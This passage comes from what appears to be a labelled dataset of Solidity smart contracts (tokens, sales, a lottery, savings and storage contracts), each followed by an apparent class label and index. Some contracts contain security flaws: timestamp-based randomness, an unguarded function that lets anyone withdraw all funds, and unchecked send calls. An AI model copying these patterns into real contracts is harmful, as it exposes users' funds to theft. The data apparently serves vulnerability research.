event ClaimResolved(address indexed _lostAddress, address indexed _claimant, uint256 collateral);
event ClaimParametersChanged(uint256 _collateralRate, uint256 _claimPeriodInDays);
function prepareClaim(bytes32 _hashedpackage) public{
preClaims[msg.sender] = PreClaim({
msghash: _hashedpackage,
timestamp: block.timestamp
});
emit ClaimPrepared(msg.sender);
}
function validateClaim(address _lostAddress, bytes32 _nonce) private view returns (bool){
PreClaim memory preClaim = preClaims[msg.sender];
require(preClaim.msghash != 0);
require(preClaim.timestamp + preClaimPeriod <= block.timestamp);
require(preClaim.timestamp + 2*preClaimPeriod >= block.timestamp);
return preClaim.msghash == keccak256(abi.encodePacked(_nonce, msg.sender, _lostAddress));
}
function declareLost(address _lostAddress, bytes32 _nonce) public payable{
uint256 balance = balanceOf(_lostAddress);
require(balance > 0);
require(msg.value >= balance.mul(collateralRate));
require(claims[_lostAddress].collateral == 0);
require(validateClaim(_lostAddress, _nonce));
claims[_lostAddress] = Claim({
claimant: msg.sender,
collateral: msg.value,
timestamp: block.timestamp
});
delete preClaims[msg.sender];
emit ClaimMade(_lostAddress, msg.sender, balance);
}
function getClaimant(address _lostAddress) public view returns (address){
return claims[_lostAddress].claimant;
}
function getCollateral(address _lostAddress) public view returns (uint256){
return claims[_lostAddress].collateral;
}
function getTimeStamp(address _lostAddress) public view returns (uint256){
return claims[_lostAddress].timestamp;
}
function getPreClaimTimeStamp(address _claimerAddress) public view returns (uint256){
return preClaims[_claimerAddress].timestamp;
}
function getMsgHash(address _claimerAddress) public view returns (bytes32){
return preClaims[_claimerAddress].msghash;
}
function clearClaim() public returns (uint256){
uint256 collateral = claims[msg.sender].collateral;
if (collateral != 0){
delete claims[msg.sender];
msg.sender.transfer(collateral);
emit ClaimCleared(msg.sender, collateral);
return collateral;
} else {
return 0;
}
}
function resolveClaim(address _lostAddress) public returns (uint256){
Claim memory claim = claims[_lostAddress];
require(claim.collateral != 0, "No claim found");
require(claim.claimant == msg.sender);
require(claim.timestamp + claimPeriod <= block.timestamp);
address claimant = claim.claimant;
delete claims[_lostAddress];
claimant.transfer(claim.collateral);
internalTransfer(_lostAddress, claimant, balanceOf(_lostAddress));
emit ClaimResolved(_lostAddress, claimant, claim.collateral);
return claim.collateral;
}
function internalTransfer(address _from, address _to, uint256 _value) internal;
function deleteClaim(address _lostAddress) public onlyOwner(){
Claim memory claim = claims[_lostAddress];
require(claim.collateral != 0, "No claim found");
delete claims[_lostAddress];
claim.claimant.transfer(claim.collateral);
emit ClaimDeleted(_lostAddress, claim.claimant, claim.collateral);
}
}
contract AlethenaShares is ERC20, Claimable {
string public constant name = "Alethena Equity";
string public constant symbol = "ALEQ";
uint8 public constant decimals = 0;
using SafeMath for uint256;
string public constant termsAndConditions = "shares.alethena.com";
mapping(address => uint256) balances;
uint256 totalSupply_;
uint256 totalShares_ = 1397188;
event Mint(address indexed shareholder, uint256 amount, string message);
event Unmint(uint256 amount, string message);
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function totalShares() public view returns (uint256) {
return totalShares_;
}
function setTotalShares(uint256 _newTotalShares) public onlyOwner() {
require(_newTotalShares >= totalSupply());
totalShares_ = _newTotalShares;
}
function mint(address shareholder, uint256 _amount, string _message) public onlyOwner() {
require(_amount > 0);
require(totalSupply_.add(_amount) <= totalShares_);
balances[shareholder] = balances[shareholder].add(_amount);
totalSupply_ = totalSupply_ + _amount;
emit Mint(shareholder, _amount, _message);
}
function unmint(uint256 _amount, string _message) public onlyOwner() {
require(_amount > 0);
require(_amount <= balanceOf(owner));
balances[owner] = balances[owner].sub(_amount);
totalSupply_ = totalSupply_ - _amount;
emit Unmint(_amount, _message);
}
bool public isPaused = false;
function pause(bool _pause, string _message, address _newAddress, uint256 _fromBlock) public onlyOwner() {
isPaused = _pause;
emit Pause(_pause, _message, _newAddress, _fromBlock);
}
event Pause(bool paused, string message, address newAddress, uint256 fromBlock);
function transfer(address _to, uint256 _value) public returns (bool) {
clearClaim();
internalTransfer(msg.sender, _to, _value);
return true;
}
function internalTransfer(address _from, address _to, uint256 _value) internal {
require(!isPaused);
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
internalTransfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(!isPaused);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
event Approval(address approver, address spender, uint256 value);
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
require(!isPaused);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
require(!isPaused);
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | 0 | 516 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
if (_x == 0) {
return 0;
}
z = _x * _y;
assert(z / _x == _y);
return z;
}
function div(uint256 _x, uint256 _y) internal pure returns (uint256) {
return _x / _y;
}
function sub(uint256 _x, uint256 _y) internal pure returns (uint256) {
assert(_y <= _x);
return _x - _y;
}
function add(uint256 _x, uint256 _y) internal pure returns (uint256 z) {
z = _x + _y;
assert(z >= _x);
return z;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner public {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract Erc20Wrapper {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract LemurTokenSale is Ownable {
using SafeMath for uint256;
Erc20Wrapper public token;
address public wallet;
uint256 public rate;
uint256 public amountRaised;
uint256 public openingTime;
uint256 public closingTime;
event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount);
constructor() public {
openingTime = block.timestamp;
closingTime = openingTime.add(90 days);
}
function setToken(Erc20Wrapper _token) onlyOwner public {
require(_token != address(0));
token = _token;
}
function setWallet(address _wallet) onlyOwner public {
require(_wallet != address(0));
wallet = _wallet;
}
function setRate(uint256 _rate) onlyOwner public {
require(_rate > 0);
rate = _rate;
}
function setClosingTime(uint256 _days) onlyOwner public {
require(_days >= 1);
closingTime = openingTime.add(_days.mul(1 days));
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
require(!hasClosed());
require(token != address(0) && wallet != address(0) && rate > 0);
require(_beneficiary != address(0));
uint256 amount = msg.value;
require(amount >= 0.01 ether);
uint256 tokenAmount = amount.mul(rate);
amountRaised = amountRaised.add(amount);
require(token.transfer(_beneficiary, tokenAmount));
emit TokenPurchase(msg.sender, _beneficiary, amount, tokenAmount);
wallet.transfer(amount);
}
} | 0 | 1,857 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns(bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns(bool) {
super.transferFrom(_from, _to, _value);
}
}
contract CMBToken is PausableToken {
using SafeMath for uint256;
string public constant name = "Creatanium";
string public constant symbol = "CMB";
uint8 public constant decimals = 18;
uint256 public constant initialSupply_ = 2000000000 * (10 ** uint256(decimals));
uint256 public mintedSupply_ = 0;
mapping(address => uint256) lockedBalances;
event Mint(address _to, uint256 amount);
event TokensLocked(address beneficiary, uint256 amount);
event TokensUnlocked(address beneficiary, uint256 amount);
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
constructor() public {
totalSupply_ = initialSupply_;
balances[msg.sender] = balances[msg.sender].add(initialSupply_);
emit Transfer(address(0), msg.sender, initialSupply_);
}
function mint(
uint256 _amount
)
public
hasMintPermission
whenNotPaused
returns (bool)
{
require(mintedSupply_.add(_amount)<=totalSupply_);
require(_amount > 0);
mintedSupply_ = mintedSupply_.add(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
emit Mint(msg.sender, _amount);
emit Transfer(address(0), msg.sender, _amount);
return true;
}
function setTotalSupply(uint256 _value) public onlyOwner {
require(_value >= totalSupply_);
totalSupply_= 0;
totalSupply_ = totalSupply_.add(_value);
}
function sendToInvestor(address _to, uint256 _value) public onlyOwner {
transfer(_to, _value);
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return lockedBalances[_owner];
}
function lockTokens(address _beneficiary, uint _value) public onlyOwner {
require(_value <= balances[_beneficiary]);
require(_beneficiary != address(0));
balances[_beneficiary] = balances[_beneficiary].sub(_value);
lockedBalances[_beneficiary] = lockedBalances[_beneficiary].add(_value);
emit TokensLocked(_beneficiary, _value);
}
function unlockTokens(address _beneficiary, uint _value) public onlyOwner {
require(_value <= lockedBalances[_beneficiary]);
require(_beneficiary != address(0));
lockedBalances[_beneficiary] = lockedBalances[_beneficiary].sub(_value);
balances[_beneficiary] = balances[_beneficiary].add(_value);
emit TokensUnlocked(_beneficiary, _value);
}
function () external payable {
require(owner.send(msg.value));
}
} | 1 | 2,645 |
pragma solidity ^0.4.15;
contract GlobalStorageMultiId {
uint256 public totalUsers;
uint256 public regPrice;
uint256 public totalCollected;
address public admin;
mapping(bytes32 => address) users;
mapping(bytes32 => mapping(bytes32 => uint256)) dataUint;
mapping(bytes32 => mapping(bytes32 => bytes32)) dataBytes32;
mapping(bytes32 => mapping(bytes32 => string)) dataString;
mapping(bytes32 => mapping(bytes32 => address)) dataAddress;
event Error(string _string);
event RegisteredUser(address _address , bytes32 _id);
event ChangedAdd(bytes32 _id , address _old , address _new);
modifier onlyOwner(bytes32 _id) {
require(msg.sender == users[_id]);
_;
}
modifier onlyAdmin {
require(msg.sender == admin);
_;
}
function GlobalStorageMultiId() {
regPrice = 0.005 ether;
admin = msg.sender;
}
function registerUser(bytes32 _id) payable returns(bool) {
require(msg.value >= regPrice);
if ( users[_id] != 0x0 ) {
Error("ID already exists");
msg.sender.send(msg.value);
return false;
}
users[_id] = msg.sender;
totalUsers += 1;
totalCollected += msg.value;
admin.send(msg.value);
RegisteredUser(msg.sender , _id);
return true;
}
function changeAddress(bytes32 _id , address _newAddress) onlyOwner(_id) returns(bool) {
users[_id] = _newAddress;
ChangedAdd(_id , msg.sender , _newAddress);
return true;
}
function checkId(bytes32 _id) constant returns(address _address) {
return users[_id];
}
function setUint(bytes32 _id , bytes32 _key , uint256 _data , bool _overwrite) onlyOwner(_id) returns(bool) {
if (dataUint[_id][_key] == 0 || _overwrite) {
dataUint[_id][_key] = _data;
return true;
} else {
Error("Data exists");
return false;
}
}
function getUint(bytes32 _id , bytes32 _key) constant returns(uint _data) {
return dataUint[_id][_key];
}
function setString(bytes32 _id , bytes32 _key , string _data , bool _overwrite) onlyOwner(_id) returns(bool) {
if (bytes(dataString[_id][_key]).length == 0 || _overwrite) {
dataString[_id][_key] = _data;
return true;
} else {
Error("Data exists");
return false;
}
}
function getString(bytes32 _id , bytes32 _key) constant returns(string _data) {
return dataString[_id][_key];
}
function setAddress(bytes32 _id , bytes32 _key , address _data , bool _overwrite) onlyOwner(_id) returns(bool) {
if (dataAddress[_id][_key] == 0x0 || _overwrite) {
dataAddress[_id][_key] = _data;
return true;
} else {
Error("Data exists");
return false;
}
}
function getAddress(bytes32 _id , bytes32 _key) constant returns(address _data) {
return dataAddress[_id][_key];
}
function setBytes32(bytes32 _id , bytes32 _key , bytes32 _data , bool _overwrite) onlyOwner(_id) returns(bool) {
if (dataBytes32[_id][_key] == 0x0 || _overwrite) {
dataBytes32[_id][_key] = _data;
return true;
} else {
Error("Data exists");
return false;
}
}
function getBytes32(bytes32 _id , bytes32 _key) constant returns(bytes32 _data) {
return dataBytes32[_id][_key];
}
function changePrice(uint _newPrice) onlyAdmin {
regPrice = _newPrice;
}
function changeAdmin(address _newAdmin) onlyAdmin {
admin = _newAdmin;
}
} | 1 | 2,243 |
pragma solidity ^0.4.15;
contract EtherLotto {
uint constant TICKET_AMOUNT = 10;
uint constant FEE_AMOUNT = 1;
address public bank;
uint public pot;
function EtherLotto() {
bank = msg.sender;
}
function play() payable {
assert(msg.value == TICKET_AMOUNT);
pot += msg.value;
var random = uint(sha3(block.timestamp)) % 2;
if (random == 0) {
bank.transfer(FEE_AMOUNT);
msg.sender.transfer(pot - FEE_AMOUNT);
pot = 0;
}
}
} | 0 | 1,277 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract VictorieumToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function VictorieumToken() public {
symbol = "VTM";
name = "Victorieum Token";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0x465bab83076E2d7962Ea70e9543B861a3dE4440B] = _totalSupply;
Transfer(address(0), 0x465bab83076E2d7962Ea70e9543B861a3dE4440B, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,336 |
pragma solidity >=0.4.10;
contract Token {
function transferFrom(address from, address to, uint amount) returns(bool);
function transfer(address to, uint amount) returns(bool);
function balanceOf(address addr) constant returns(uint);
}
contract Owned {
address public owner;
address public newOwner;
event ChangedOwner(address indexed new_owner);
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner external {
newOwner = _newOwner;
}
function acceptOwnership() external {
if (msg.sender == newOwner) {
owner = newOwner;
newOwner = 0x0;
ChangedOwner(owner);
}
}
}
contract Savings is Owned {
uint public periods;
uint public t0special;
uint constant public intervalSecs = 30 days;
uint constant public precision = 10 ** 18;
event Withdraws(address indexed who, uint amount);
event Deposit(address indexed who, uint amount);
bool public inited;
bool public locked;
uint public startBlockTimestamp = 0;
Token public token;
mapping (address => uint) public deposited;
uint public totalfv;
uint public remainder;
uint public total;
mapping (address => uint256) public withdrawn;
bool public nullified;
modifier notNullified() { require(!nullified); _; }
modifier preLock() { require(!locked && startBlockTimestamp == 0); _; }
modifier postLock() { require(locked); _; }
modifier preStart() { require(locked && startBlockTimestamp == 0); _; }
modifier postStart() { require(locked && startBlockTimestamp != 0); _; }
modifier notInitialized() { require(!inited); _; }
modifier initialized() { require(inited); _; }
function() {
revert();
}
function nullify() onlyOwner {
nullified = true;
}
function init(uint _periods, uint _t0special) onlyOwner notInitialized {
require(_periods != 0);
periods = _periods;
t0special = _t0special;
}
function finalizeInit() onlyOwner notInitialized {
inited = true;
}
function setToken(address tok) onlyOwner {
token = Token(tok);
}
function lock() onlyOwner {
locked = true;
}
function start(uint _startBlockTimestamp) onlyOwner initialized preStart {
startBlockTimestamp = _startBlockTimestamp;
uint256 tokenBalance = token.balanceOf(this);
total = tokenBalance;
remainder = tokenBalance;
}
function isStarted() constant returns(bool) {
return locked && startBlockTimestamp != 0;
}
function refundTokens(address addr, uint amount) onlyOwner preLock {
token.transfer(addr, amount);
}
function updateTotal() onlyOwner postLock {
uint current = token.balanceOf(this);
require(current >= remainder);
uint difference = (current - remainder);
total += difference;
remainder = current;
}
function periodAt(uint _blockTimestamp) constant returns(uint) {
if (startBlockTimestamp > _blockTimestamp)
return 0;
uint p = ((_blockTimestamp - startBlockTimestamp) / intervalSecs) + 1;
if (p > periods)
p = periods;
return p;
}
function period() constant returns(uint) {
return periodAt(block.timestamp);
}
function deposit(uint tokens) notNullified {
depositTo(msg.sender, tokens);
}
function depositTo(address beneficiary, uint tokens) preLock notNullified {
require(token.transferFrom(msg.sender, this, tokens));
deposited[beneficiary] += tokens;
totalfv += tokens;
Deposit(beneficiary, tokens);
}
function bulkDepositTo(uint256[] bits) onlyOwner {
uint256 lomask = (1 << 96) - 1;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint val = bits[i]&lomask;
depositTo(a, val);
}
}
function withdraw() notNullified returns(bool) {
return withdrawTo(msg.sender);
}
function availableForWithdrawalAt(uint256 blockTimestamp) constant returns (uint256) {
return ((t0special + periodAt(blockTimestamp)) * precision) / (t0special + periods);
}
function _withdrawTo(uint _deposit, uint _withdrawn, uint _blockTimestamp, uint _total) constant returns (uint) {
uint256 fraction = availableForWithdrawalAt(_blockTimestamp);
uint256 withdrawable = ((_deposit * fraction * _total) / totalfv) / precision;
if (withdrawable > _withdrawn) {
return withdrawable - _withdrawn;
}
return 0;
}
function withdrawTo(address addr) postStart notNullified returns (bool) {
uint _d = deposited[addr];
uint _w = withdrawn[addr];
uint diff = _withdrawTo(_d, _w, block.timestamp, total);
if (diff == 0) {
return false;
}
require((diff + _w) <= ((_d * total) / totalfv));
require(token.transfer(addr, diff));
withdrawn[addr] += diff;
remainder -= diff;
Withdraws(addr, diff);
return true;
}
function bulkWithdraw(address[] addrs) notNullified {
for (uint i=0; i<addrs.length; i++)
withdrawTo(addrs[i]);
}
uint public mintingNonce;
function multiMint(uint nonce, uint256[] bits) onlyOwner preLock {
if (nonce != mintingNonce) return;
mintingNonce += 1;
uint256 lomask = (1 << 96) - 1;
uint sum = 0;
for (uint i=0; i<bits.length; i++) {
address a = address(bits[i]>>96);
uint value = bits[i]&lomask;
deposited[a] += value;
sum += value;
Deposit(a, value);
}
totalfv += sum;
}
} | 0 | 950 |
contract DAO {
function balanceOf(address addr) returns (uint);
function transferFrom(address from, address to, uint balance) returns (bool);
uint public totalSupply;
}
contract WithdrawDAO {
DAO constant public mainDAO = DAO(0x440c59b325d2997a134c2c7c60a8c61611212bad);
address constant public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;
function withdraw(){
uint balance = mainDAO.balanceOf(msg.sender);
if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
throw;
}
function trusteeWithdraw() {
trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
}
} | 1 | 3,661 |
pragma solidity ^0.4.24;
contract OuterWithEth {
Inner1WithEth public myInner1 = new Inner1WithEth();
function callSomeFunctionViaOuter() public payable {
myInner1.callSomeFunctionViaInner1.value(msg.value)();
}
}
contract Inner1WithEth {
Inner2WithEth public myInner2 = new Inner2WithEth();
function callSomeFunctionViaInner1() public payable{
myInner2.doSomething.value(msg.value)();
}
}
contract Inner2WithEth {
uint256 someValue;
event SetValue(uint256 val);
function doSomething() public payable {
someValue = block.timestamp;
emit SetValue(someValue);
}
function getAllMoneyOut() public {
msg.sender.transfer(this.balance);
}
} | 1 | 3,945 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
